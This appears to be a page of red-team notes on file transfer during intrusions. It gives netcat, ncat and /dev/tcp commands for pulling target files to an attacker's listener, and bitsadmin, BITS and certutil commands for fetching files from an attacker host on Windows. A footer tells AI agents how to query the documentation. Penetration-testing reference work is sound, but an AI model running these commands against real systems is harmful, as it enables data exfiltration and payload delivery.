# Miscellaneous

{% tabs %}
{% tab title="Linux" %}
`+file download`   `+file upload`

{% embed url="<https://gtfobins.github.io/>" %}
{% endtab %}

{% tab title="Windows" %}
`/download`   `/upload`

{% embed url="<https://lolbas-project.github.io/>" %}
{% endtab %}
{% endtabs %}

## Netcat

File transfer from Target to Attacker

{% tabs %}
{% tab title="Listening on Attacker" %}
Attacker:

{% code overflow="wrap" %}

```bash
nc -l -p <PORT> > <NEW_NAME>
```

{% endcode %}

Target:

{% code overflow="wrap" %}

```bash
nc -q 0 <IP> <PORT> < <FILE>
```

{% endcode %}
{% endtab %}

{% tab title="Listening on Target" %}
Target:

{% code overflow="wrap" %}

```bash
nc -l -p <PORT> -q 0 < <FILE>
```

{% endcode %}

Attacker:

{% code overflow="wrap" %}

```bash
nc <IP> <PORT> > <NEW_NAME>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
cat < /dev/tcp/<IP>/<PORT> > <NEW_NAME>
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Ncat

File transfer from Target to Attacker

{% tabs %}
{% tab title="Listening on Attacker" %}
Attacker:

{% code overflow="wrap" %}

```bash
ncat -l -p <PORT> --recv-only > <NEW_NAME>
```

{% endcode %}

Target:

{% code overflow="wrap" %}

```bash
ncat --send-only <IP> <PORT> < <FILE>
```

{% endcode %}
{% endtab %}

{% tab title="Listening on Target" %}
Target:

{% code overflow="wrap" %}

```bash
ncat -l -p <PORT> --send-only < <FILE>
```

{% endcode %}

Attacker:

{% code overflow="wrap" %}

```bash
ncat <IP> <PORT> --recv-only > <NEW_NAME>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
cat < /dev/tcp/<IP>/<PORT> > <NEW_NAME>
```

{% endcode %}
{% endtab %}
{% endtabs %}

## bitsadmin

Downloading files on Windows.

{% code overflow="wrap" %}

```powershell
bitsadmin /transfer wcb /priority foreground http://<IP>:<PORT>/<FILE> <NEW_NAME>
```

{% endcode %}

## BITS

Allows downloading and uploading files on Windows.

{% code overflow="wrap" %}

```powershell
Import-Module bitstransfer; Start-BitsTransfer -Source "http://<IP>:<PORT>/<FILE>" -Destination "<NEW_NAME>"
```

{% endcode %}

For the upload try to reverse the source and destination arguments, setting a [Server Python3 with Upload Option](/rednote/utility/server.md#python) (and self-signed certificate).

## certutil

Downloading files on Windows.

{% code overflow="wrap" %}

```powershell
certutil.exe -verifyctl -split -f http://<IP>:<PORT>/<FILE>
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ivalexev.gitbook.io/rednote/utility/transferring-file/miscellaneous.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
